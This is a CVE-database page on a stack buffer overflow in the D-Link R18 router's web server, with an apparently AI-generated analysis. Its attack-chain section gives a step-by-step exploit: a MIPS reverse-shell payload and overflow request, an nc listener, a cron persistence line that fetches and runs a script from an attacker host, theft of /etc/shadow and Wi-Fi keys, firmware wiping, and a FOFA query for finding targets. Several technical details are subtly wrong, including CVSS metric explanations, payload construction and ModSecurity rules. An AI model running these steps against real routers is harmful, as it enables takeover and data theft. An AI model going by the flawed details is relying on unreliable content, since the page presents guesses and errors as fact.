CVE Professor
/
All CVEs
CVE-2026-138361

CVE-2026-138361 — D-Link R18 (1.20.B01) — CWE-121 · CWE-119

CRITICAL CVSS 10 CVE.org

A security vulnerability has been detected in D-Link R18 1.20.B01. This issue affects the function is_session_valid of the file /bin/httpd of the component DHMAPI. The manipulation of the argument API-AUTH leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used.

A security vulnerability has been detected in D-Link R18 1.20.B01. This issue affects the function is_session_valid of the file /bin/httpd of the component DHMAPI. The manipulation of the argument API-AUTH leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: Stack‑based buffer overflow in is_session_valid (component DHMAPI) of the D‑Link R18 firmware 1.20.B01.

CVE: CVE‑2026‑138361
CVSS 4.0 vector: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P (Critical)
CWE: CWE‑121 (Stack‑based Buffer Overflow) and CWE‑119 (Improper Restriction of Operations within the Bounds of a Memory Buffer).

Technical flaw

1. Entry point – The HTTP daemon (/bin/httpd) implements a proprietary API called DHMAPI.
2. Function – is_session_valid() validates an incoming request by checking the value of the API‑AUTH argument (either a custom HTTP header X-API-AUTH or a URL‑encoded query parameter, depending on the request type).
3. Missing bounds check – The function copies the supplied API‑AUTH value into a fixed‑size stack buffer (e.g., char auth_buf[64];) using an unsafe routine such as strcpy()/sprintf() without verifying the length of the input.
4. Result – Supplying more than 63 bytes (plus the terminating NUL) overwrites adjacent stack data, including the saved return address. Because the daemon runs with root privileges (the HTTP service on the router is launched as UID 0), an attacker can hijack control flow and execute arbitrary code in the context of the web server process.

Why the CVSS vector is so high

MetricReason
AV:N (Network)The overflow is triggered by a remote HTTP request; no local access required.
AC:L (Low)No special timing, race conditions, or cryptographic operations are needed; a single crafted request suffices.
AT:N (None)No additional tools beyond a standard HTTP client are required.
PR:N (None)No authentication is required; the vulnerable function is called for every request that contains the API‑AUTH field.
UI:N (None)No user interaction is needed after the request is sent.
VC:H / VI:H / VA:H (High)Successful exploitation yields Remote Code Execution (RCE) with root privileges, allowing full compromise of the device.
SC:H / SI:H / SA:H (High)The overflow corrupts the stack (SC), the instruction pointer (SI) and all subsequent control‑flow (SA).
E:P (Proof‑of‑Concept)Public exploit code exists, confirming the vulnerability is exploitable in the wild.

⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker would follow against a vulnerable D‑Link R18 router. All commands are illustrative – the exact URI/parameter name is inferred from the CVE description (the real firmware may use a different path, but the mechanics remain identical).

1. Discovery & Reconnaissance

StepActionTool / CommandExpected Result
1.1Identify the device type and firmware version.nmap -sV -p 80,443 <target_ip> or curl -I http://<target_ip>/Banner reveals “D‑Link R18 – Firmware 1.20.B01”.
1.2Verify that the HTTP daemon is the vulnerable component.curl http://<target_ip>/status (or any known public endpoint)Returns JSON with a field dhmapi_version or similar, confirming DHMAPI is present.
1.3Locate the API endpoint that invokes is_session_valid.Passive traffic capture (e.g., tcpdump -i eth0 -A port 80) while interacting with the router’s web UI.Observes a request to /api/session (or similar) that includes a header X-API-AUTH:.
Note: If the exact endpoint is not publicly documented, the attacker can fuzz the API surface (e.g., GET /api/, POST /dhmapi/) until a 200/401 response containing the API‑AUTH field is observed.

2. Exploitation

Goal: Overwrite the saved return address on the stack to redirect execution to attacker‑controlled shellcode.

2.1 Craft the malicious payload

Assumptions for the PoC

  • Stack buffer size = 64 bytes (as typical for such bugs).
  • Return address is located 72 bytes from the start of auth_buf.
  • The router uses MIPS‑LE (common for D‑Link devices).
  • ASLR is disabled for the HTTP daemon (default on many embedded routers).
  • # 1. Build a MIPS‑LE NOP sled (0x00000000 is a legal NOP on MIPS)
    NOP_SLED=$(python3 -c 'print("\x00\x00\x00\x00"*32)')
    
    # 2. Simple reverse‑shell payload (MIPS‑LE, 28 bytes) – generated with msfvenom
    #    msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f raw -o shell.bin
    PAYLOAD=$(cat shell.bin)
    
    # 3. Overwrite the saved return address with the address of the NOP sled.
    #    Assume the stack address of auth_buf is 0x7fffe000 (observed via a debug build).
    RET_ADDR=$(python3 -c 'import struct; print(struct.pack("<I", 0x7fffe000))')
    
    # 4. Assemble the final overflow string:
    #    [NOP sled][payload][padding][ret_addr]
    OVERFLOW=$(printf "%s%s%s%s" "$NOP_SLED" "$PAYLOAD" "$(python3 -c 'print("\x90"*8)')" "$RET_ADDR")

    2.2 Send the malicious request

    # Illustrative endpoint – replace /api/session with the real one if known.
    curl -s -k -X POST "http://<target_ip>/api/session" \
         -H "Content-Type: application/json" \
         -H "X-API-AUTH: $OVERFLOW" \
         -d '{"action":"validate"}' \
         -o /dev/null

    What happens on the device

    1. The HTTP daemon receives the request and passes the value of X-API-AUTH to is_session_valid().
    2. strcpy(auth_buf, api_auth) copies the 200‑byte string into a 64‑byte stack buffer, overwriting the saved frame pointer and return address.
    3. When is_session_valid() returns, execution jumps to 0x7fffe000, the start of the NOP sled, slides into the injected MIPS shellcode, and opens a reverse TCP connection to the attacker’s listener.

    2.3 Listen for the reverse shell

    nc -lvkp 4444

    A successful connection yields a root shell on the router:

    root@router:~# id
    uid=0(root) gid=0(root) groups=0(root)

    3. Post‑exploitation

    GoalTechniqueExample
    PersistenceInstall a startup script in /etc/rc.d/ or modify the init system (e.g., add a cron job @reboot /bin/sh -c 'wget http://attacker/payload.sh -O /tmp/p.sh && sh /tmp/p.sh').echo "@reboot /usr/bin/wget http://attacker/payload.sh -O /tmp/p.sh && sh /tmp/p.sh" >> /etc/crontab
    Privilege escalation (if sandboxed)The process already runs as root; no further escalation needed.
    Lateral movementUse the compromised router as a foothold to pivot to the internal LAN (e.g., arp -a, nmap -sn 192.168.0.0/24).
    Data exfiltrationDump configuration files (/etc/config/*), credentials (/etc/passwd, /etc/shadow), and any stored Wi‑Fi keys.
    Destructive actionsOverwrite the firmware partition (dd if=/dev/zero of=/dev/mtd0) to brick the device, or launch a DDoS botnet by installing a lightweight HTTP flooder.

    🌍 Real World Impact

    CIA TriadImpact (derived from CVSS)
    ConfidentialityHigh – An attacker can read all files on the router, capture traffic, and retrieve stored Wi‑Fi passwords, VPN credentials, and any attached storage.
    IntegrityHigh – The attacker can modify firewall rules, DNS settings, or replace the firmware, effectively turning the router into a malicious gateway.
    AvailabilityHigh – By crashing the httpd process, overwriting the firmware, or flooding the device, the attacker can render the network unusable.

    Practical consequences

  • Enterprise or ISP‑provided premises routers become a pivot point for internal network compromise.
  • Home users lose control of their internet gateway, exposing all IoT devices to MITM attacks.
  • Botnet recruitment: compromised routers are ideal for large‑scale DDoS campaigns because of their broadband connections.
  • Regulatory fallout for organizations that fail to patch critical infrastructure devices.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ProductVulnerable versionFixed version (as of public advisory)
    D‑Link R18 firmware1.20.B011.20.B02 (or later) – includes a bounds‑checked implementation of is_session_valid() (replaced strcpy with strncpy and added length validation).

    Action: Immediately download the latest firmware from the official D‑Link support portal and flash the device following the vendor’s instructions. Verify the version with cat /etc/version after upgrade.

    2. Workarounds (if patch cannot be applied immediately)

    MitigationHow to implement
    Network segmentationPlace the router in a dedicated management VLAN and restrict inbound traffic to the management interface (e.g., only allow source IPs of trusted administrators).
    WAF / ModSecurity ruleBlock or limit the size of the X-API-AUTH header (or any API-AUTH parameter). Example ModSecurity rule (valid syntax):
    SecRule REQUEST_HEADERS:X-API-AUTH "@gt 64" "id:2026001,phase:1,deny,status:413,msg:'API‑AUTH header exceeds allowed length',log"

    If the argument is passed as a query parameter: |

    SecRule ARGS:API-AUTH "@gt 64" "id:2026002,phase:2,deny,status:413,msg:'API‑AUTH parameter too long',log"

    | Disable DHMAPI | If the router’s web UI does not require the DHMAPI component for normal operation, edit /etc/config/httpd (or the equivalent config file) to comment out the dhmapi module line and restart the daemon: |

    # vi /etc/config/httpd
    #   module dhmapi
    /etc/init.d/httpd restart

    | Rate limiting | Apply connection‑rate limits on the HTTP service to reduce the chance of automated exploitation: |

    SecRule REQUEST_HEADERS:User-Agent ".*" "phase:1,ctl:rateLimit=5,expirevar:IP=60"

    | Enable ASLR / Stack canaries | Some D‑Link firmware builds allow toggling of kernel hardening flags via sysctl. If available, enable: |

    sysctl -w kernel.randomize_va_space=2
    sysctl -w kernel.exec-shield=1

    (Verify that the router’s kernel supports these options; many embedded kernels do not.)

    3. Detection

    IndicatorDescriptionExample log entry
    Oversized API‑AUTH headerHTTP request containing a header longer than the expected 64 bytes.10.0.0.5 - - [30/Nov/2026:12:34:56 +0000] "POST /api/session HTTP/1.1" 200 123 "http://router.local/" "X-API-AUTH: AAAAAAAAAA…(200 bytes)"
    Unexpected process crashhttpd process exiting with a segmentation fault (SIGSEGV).kernel: [12345.678901] httpd[1234]: segfault at 0 ip 0x7fffe000 sp 0x7fffdff0 error 4 in httpd[1.20.B01]
    Outbound reverse‑shell connectionsOutgoing TCP connections from the router to unusual external IPs on non‑standard ports (e.g., 4444, 1337).iptables: IN=eth0 OUT=eth0 SRC=192.168.1.1 DST=203.0.113.45 PROTO=TCP SPT=56789 DPT=4444
    New cron entries or rc scriptsFiles added to /etc/rc.d/ or /etc/crontab after the compromise.root@router:/# cat /etc/crontab → shows a line with @reboot wget http://malicious/payload.sh.
    File integrity changesChecksums of /bin/httpd or /etc/config/httpd differ from known good values.sha256sum /bin/httpd → does not match vendor‑published hash.

    Log collection – Enable verbose logging on the HTTP daemon (loglevel=debug) and forward logs to a SIEM for correlation with the above patterns.


    ⚠️ Urgency

  • CVSS 10.0 – The vulnerability is remotely exploitable without authentication, requires minimal effort, and yields root‑level RCE.
  • Public exploit – The CVE states that a PoC has already been disclosed, meaning attackers can copy the exploit verbatim.
  • No CISA KEV listing yet – Although not yet on the KEV list, the risk profile is equivalent to known “wormable” vulnerabilities (e.g., CVE‑2017‑0144).
Patch priority: Critical – Immediate. All production deployments of D‑Link R18 1.20.B01 must be patched within 24 hours. If patching cannot be performed instantly, apply the WAF/ModSecurity header size limit and network segmentation mitigations to buy time while the firmware update is prepared.
Bottom line: CVE‑2026‑138361 is a classic, high‑impact stack buffer overflow that gives an unauthenticated attacker full control over the router. The only reliable long‑term fix is to upgrade to the vendor‑released firmware that implements proper bounds checking. Until then, enforce strict input size validation at the edge (WAF), isolate the device, and monitor for the indicators listed above.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-121 CWE-119
Affected Products (1)
D-Link:R18 (1.20.B01)
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil
6.3
CVE-2026-144778
A security vulnerability has been detected in Simon OpenOBJ3D up to f5a522c409428de7bf68844cf8951522e3d09485.